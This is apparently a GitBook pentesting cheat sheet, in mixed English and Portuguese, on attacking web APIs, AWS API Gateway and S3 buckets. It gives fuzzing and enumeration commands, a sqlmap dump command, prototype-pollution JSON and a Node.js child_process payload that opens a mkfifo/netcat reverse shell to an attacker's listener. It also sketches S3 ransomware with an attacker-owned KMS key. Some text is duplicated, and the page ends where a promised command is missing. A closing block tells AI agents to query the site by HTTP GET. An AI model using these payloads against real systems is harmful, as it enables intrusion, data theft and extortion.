# API Pentesting

<mark style="color:purple;">**Change Methods**</mark>\
\# Methods\
GET, POST, PUT, DELETE, OPTIONS, HEAD, PATCH, INVENTED\
\ <mark style="color:blue;">**Endpoint Discovery**</mark>\
Tente enumerar endpoints enquanto altera metodos HTTP como GET, POST, OPTIONS, etc.\
/api/?xml\
/api?xml\
/api/v1?xml\
/api/v1/user?xml\
\ <mark style="color:blue;"># Web Service Description Language</mark>\
/api/?wsdl\
\ <mark style="color:blue;"># Versions</mark>\
/api/v1/user\
/api/v2/user\
/api/v3/user\
\ <mark style="color:blue;"># Wildcards</mark>\
/api/v2/user/\*\
/api/v2/user/posts/\*\
/api/v2/users/\*\
\ <mark style="color:blue;"># Path traversal</mark>\
/api/v1/post/..\private\
\ <mark style="color:blue;">**Automation**</mark>\
\&#xNAN;**# Dirb**\
dirb <https://vulnerable.com/> endpoints.txt\
\
\&#xNAN;**# Ffuf**\
ffuf -u <https://vulnerable.com/FUZZ> -w endpoints.txt\
ffuf -u <https://vulnerable.com/FUZZ> -X POST -w endpoints.txt\
ffuf -u <https://vulnerable.com/api/FUZZ> -w wordlist.txt\
ffuf -u <https://example.com/api/?FUZZ=test> -w wordlist.txt\
\
\&#xNAN;**# Gobuster**\
gobuster dir -u <https://vulnerable.com/> -w endpoints.txt\
<https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d>\
\
\&#xNAN;**# Kiterunner**\
\# -A: wordlist type (ex. first 20000 words) # -x: max connection per host (default: 3)\
kr scan <https://vulnerable.com/api> -A=apiroutes-210228:20000 -x 10\
kr scan <https://vulnerable.com/api> -A=apiroutes-210228:20000 -x 10 --fail-status-codes 401,404\
kr scan <https://vulnerable.com:8443/api> -A=apiroutes-210228:20000 -x 10\
\
\ <mark style="color:blue;">**GET Parameters**</mark>\
/api/v1/user?id=test\
/api/v1/user?name=test\
/api/v1/user?uuid=test\
/api/v1/status?live=test\
/api/v1/status?verbose=test\
\
\ <mark style="color:blue;">**Parameter Fuzzing**</mark>\
\# Key\
ffuf -u <https://vulnerable.com/api/items?FUZZ=test> -w wordlist.txt\
ffuf -u <https://vulnerable.com/api/items?FUZZ=test> -w wordlist.txt -fs 120\
ffuf -X POST -u <https://vulnerable.com/api/items?FUZZ=test> -w wordlist.txt\
ffuf -X POST -u <https://vulnerable.com/api/items?FUZZ=test> -w wordlist.txt -fs 120\
\
\# Value\
ffuf -u <https://vulenrable.com/api/items?test=FUZZ> -w wordlist.xt\
ffuf -u <https://vulnerable.com/api/items?test=FUZZ> -w wordlist.txt -fs 120\
ffuf -X POST -u <https://vulnerable.com/api/items?test=FUZZ> -w wordlist.txt\
ffuf -X POST -u <https://vulnerable.com/api/items?test=FUZZ> -w wordlist.txt -fs 120\
\
**S**<mark style="color:blue;">**ending Unexpected Data**</mark>\
Podemos encontrar qualquer coisa enviando dados inesperados no metodo POST ou PUT.\
{"email": "<test@test.com>"}\
{"email": true}\
{"email": 1}\
{"email": -1}\
{"email": \["<test@test.com>", true]}\
{"email": {"admin": true}}\
\
// Prototype Pollution\
{"email": "<test@test.com>", "\_\_proto\_\_": {"admin": true}}\
{"email": {"\_\_proto\_\_": {"admin": true}}}\
\
\ <mark style="color:blue;">**XSS**</mark>\
Se pudermos enviar solicitações post (ou colocar) para endpoints da API, poderemos inserir cargas úteis e o resultado será refletido como a saída. XSS pode ser usado para esta exploração.\
\
\ <mark style="color:blue;">**SQL Injection**</mark>\
sqlmap -u <http://vulnerable.com/api/v2/fetch/?post=1> --dump --batch\
\
\ <mark style="color:blue;">**Node.js Remote Code Execution (RCE)**</mark>\
Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript.Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript.Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript.\
\
\# Get current working directory in the website\
/api/?key=process.cwd()\
\
\ <mark style="color:blue;">**Reverse Shell**</mark>\
Podemos executar o shell reverso usando "child\_process". Primeiro, inicie o ouvinte para obter um shell na mÃ¡quina local.\
\
nc -lvnp 4444\
\
Em seguida, envie a solicitação para o site com o parâmetro que executa o shell reverso usando child\_process.\
\
/api/?key=require('child\_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc \<local-ip> 4444 >/tmp/f')\
\ <mark style="color:blue;">**Same Session Across Multiple Versions and Instances**</mark>\
For example, assumed the website has two endpoints such as "/api/v1/user/login", "/api/v2/user/login".\
"v1" uses "X-Token" and "v2" uses "X-Session".\
After login to "v1", you may be able to get access "v2" using the session key/value of "v1".\
\
X-Token: fc38ab5f5ae41072778d852023f9ee26\
X-Session: fc38ab5f5ae41072778d852023f9ee26\
\ <mark style="color:blue;">**XEE**</mark>\
GET /api/product/1?xml HTTP/1.1\
Se o site exibir a resposta em XML, poderemos fazer XXE.

𝗔𝗣𝗜 𝗚𝗮𝘁𝗲𝘄𝗮𝘆 - 𝘀𝗲𝗰𝘂𝗿𝗶𝘁𝘆\
\
Discutiremos algumas das implicações interessantes de segurança no API Gateway.\
<https://divyanshu-mehta.gitbook.io/researchs/aws-cloud-security/hacking-api-gateway><br>

Desvio de restrição IP\
Vários gateways de API podem ser usados para ignorar a restrição de IP. Isso pode ser feito roteando solicitações via API Gateway aleatoriamente, que podem ignorar facilmente o bloqueio de IP e outras restrições baseadas em IP.\
\
Nesse caso, o usuário procuraria sua solicitação por meio do API Gateway escolhido aleatoriamente, que ajuda a mascarar seu IP e, posteriormente, envia a solicitação ao servidor com o IP mascarado.

#### Atacando gateways públicos não autenticados

\
A autenticação no gateway de API pública não ocorre por padrão. Portanto, é completamente possível acionar o destino do API Gateway da Internet se o Gateway não estiver protegido.\
Cenário: a enumeração inicial descobriu uma função lambda que executa um conjunto especial de instruções com base na entrada do usuário e é acionada pelo API Gateway. Também descobrimos que o API Gateway não é autenticado e é público na Internet.\
Exemplo: Abaixo está o código da função lambda: -\ <mark style="color:yellow;">def lambda\_handler(event,context):</mark>\ <mark style="color:yellow;">......</mark>\ <mark style="color:yellow;">argument = event\['rawQueryString']</mark>\ <mark style="color:yellow;">if argument == "this\_is\_normal":</mark>\ <mark style="color:yellow;">printf("This is lambda")</mark>\ <mark style="color:yellow;">elif argument == "this\_is\_changed":</mark>\ <mark style="color:yellow;">printf("Flag: {secuirtylabs\_api\_gateways}")</mark>\
\
Nossa enumeração inicial também descobriu o ponto final da API anexado ao lambda. Verificou-se que o ponto final da API era \*\*<https://test123.execute-api.ap-south-1.amazonaws.com/**\\>
Portanto, no caso acima, podemos manipular o campo de argumento e enviar uma solicitação de curvatura para o endpoint de destino.\
Solicitação:\
curl -X GET <https://test123.execute-api.ap-south-1.amazonaws.com/?argument=this_is_changed><br>

## Chamadas API Gateway

\
Aqui estão algumas chamadas populares da API Gateway e o que elas fazem:\
• **get-integrations**: Chamada da API para imprimir todas as integrações associadas ao api-id\
• **get-routes**: Chamada da API para imprimir todas as rotas associadas ao api-id\
• **get-stages**: Chamada da API para imprimir todas as etapas associadas ao api-id

## **S3 Secutity**

\
A seguir, alguns cenários de segurança interessantes:

## Cenário I - Meu S3 está aberto

Muitas vezes, o balde S3 é aberto ao mundo e permite acesso não autorizado de leitura e gravação. Esse foi o principal motivo da violação do CapitalOne.\
Para listar objetos em um balde S3 chamado "bucket de teste", basta visitar **<https://test-bucket.s3.amazonaws.com>** ou execute a seguinte chamada de API.<br>

aws s3 ls s3://test-bucket

## Senario II - S3 Ransomware

Compartilhamos uma pesquisa feita pela equipe RhinoSecurity, que é equivalente da nuvem para o Ransomware no S3. O balde S3 com acesso de gravação pode ser criptografado com uma chave KMS que pertence à conta do invasor. Nesse caso, o proprietário do balde não poderá descriptografar o conteúdo, pois a chave criptografada não pertence à sua conta. Depois que o balde for criptografado, o invasor poderá deixar ransom.txt como uma nota de resgate e resgatar o balde.\
Mais detalhes sobre esta pesquisa interessante podem ser encontrados [aqui](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)\ <br>

## **Cenário III - Política de buckets aberta**

Muitas vezes, os usuários garantem que não tornem público o balde, mas uma política de balde mal configurada torna um balde público indiretamente.\
Por exemplo, considere a política abaixo:\
\
{\
"Version": "2012-10-17",\
"Statement": \[\
{\
"Sid": "Statement2",\
"Effect": "Allow",\
"Principal": "\*",\
"Action": "s3:GetObject",\
"Resource": "arn:aws:s3:::securitylabs-articles/\*"\
}\
]\
}\
\
Esta política é uma política S3 vulnerável que indica que qualquer pessoa na Internet pode baixar objetos do meu balde **securitylabs-articles** .\
Aqui a parte vulnerável é o campo Principal que é `*` o que indica que qualquer pessoa na internet pode baixar objetos. Supondo que exista um objeto chamado **note.txt** para baixar o objeto, basta fazer a solicitação de curvatura abaixo<br>

## <br>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://morgan-bin-bash.gitbook.io/pentesting/api-pentesting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
